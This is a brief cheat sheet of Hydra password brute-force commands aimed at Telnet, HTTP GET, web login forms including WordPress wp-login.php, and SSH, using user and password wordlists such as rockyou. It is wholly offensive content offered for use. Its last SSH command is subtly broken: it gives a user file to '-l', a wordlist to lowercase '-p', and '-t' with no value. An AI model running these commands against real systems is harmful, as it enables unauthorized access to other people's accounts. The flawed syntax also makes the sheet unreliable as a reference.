Hydra

hydra -L users.txt -P pass.txt <service://server> <options>

Telnet:

• hydra -L users.txt -P pass.txt telnet://target.server

HTTP:

• hydra -L users.txt -P pass.txt http-get://localhost/
• hydra -L users.txt -P pass.txt -t 10 -o result-attack.txt targetsite.com http-get-form "/login.php:username=^USER^&password=^PASS^&login=Username and/or password incorrect."
• hydra -l admin -P ./passwordlist.txt $ip -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=<success_response>'

SSH:

• hydra -l user -P pass.txt -t 10 172.21.0.0 ssh -s 22
• hydra -l users.txt -p /usr/share/wordlists/rockyou.txt -t 172.21.0.0 ssh -s 22